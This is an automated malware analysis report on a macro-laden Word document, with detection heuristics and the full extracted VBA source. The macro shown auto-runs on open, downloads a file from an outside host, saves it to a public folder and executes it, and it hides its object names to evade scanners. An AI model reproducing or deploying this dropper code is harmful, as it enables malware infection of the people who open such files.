Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b66cca8038dd542e…

MALICIOUS

Office (OOXML)

204.8 KB Created: 2021-01-20 19:12:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-01-23
MD5: e417c0160120d2629e26b197a7ce3d9c SHA-1: d37d5e17657b4ffa1d342050aa6b7ccdfc908f67 SHA-256: b66cca8038dd542e99cd0eebc86f38d01cc69ade01edcf94d3d681886ba1fa30
230 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823798-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823798-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
          MemoryCopyButton.Write MainGenericTemp.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          Set MainGenericTemp = CreateObject(PointerConvert)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2247 bytes
SHA-256: fdf88b3cab8ff77be8d5eac6834a0684588aa9319e657524949d4fd7a5631d0f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
  Application.Run "Fororo"
End Sub

Sub Fororo()
UserForm1.CommandButton2_Click
End Sub



Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{7A44E68B-F2AF-405F-903E-20D30815A49D}{78AE157D-6F1E-46A9-8C7F-764603D53112}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public ReferenceArrayFunc
Public DeleteCollectionValue

Private Sub CommandButton1_Click()
 UserForm1.ReferenceArrayFunc = "C:\users\Public\256.png"
 UserForm1.DeleteCollectionValue = "http"
 RightSwapReference = 1
 
 Dim MainGenericTemp As Object
 Dim MemoryCopyButton As Object
 

 For Each PointerConvert In ListBox1.List
    If RightSwapReference = 1 Then
      Set MainGenericTemp = CreateObject(PointerConvert)
      MainGenericTemp.Open "GET", UserForm1.DeleteCollectionValue + ListBox1.List(3), False
      MainGenericTemp.Send
    End If
    
    If RightSwapReference = 2 Then
      Set MemoryCopyButton = CreateObject(PointerConvert)
      MemoryCopyButton.Open
      MemoryCopyButton.Type = 1
      MemoryCopyButton.Write MainGenericTemp.ResponseBody
      MemoryCopyButton.SaveToFile UserForm1.ReferenceArrayFunc, 2
    End If
    
    If RightSwapReference = 3 Then
      Shell@ (PointerConvert + "32 " & UserForm1.ReferenceArrayFunc)
    End If
    
    RightSwapReference = RightSwapReference + 1
 Next
End Sub

Public Sub CommandButton2_Click()
  
    ListBox1.AddItem (TextBox1.Tag)
    ListBox1.AddItem (CommandButton4.Tag)
    CommandButton3_Click
    CommandButton1_Click

End Sub

Public Sub CommandButton3_Click()
    ListBox1.AddItem (Image1.Tag)
    CommandButton4_Click
End Sub

Public Sub CommandButton4_Click()
ListBox1.AddItem ("://linestats.bar/f0t0s.jpg")
End Sub




Private Sub TextBox1_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 49152 bytes
SHA-256: a4399206314e902dfb76e7bd32a4135edb2846ba0b5f9d86438df81924a6f191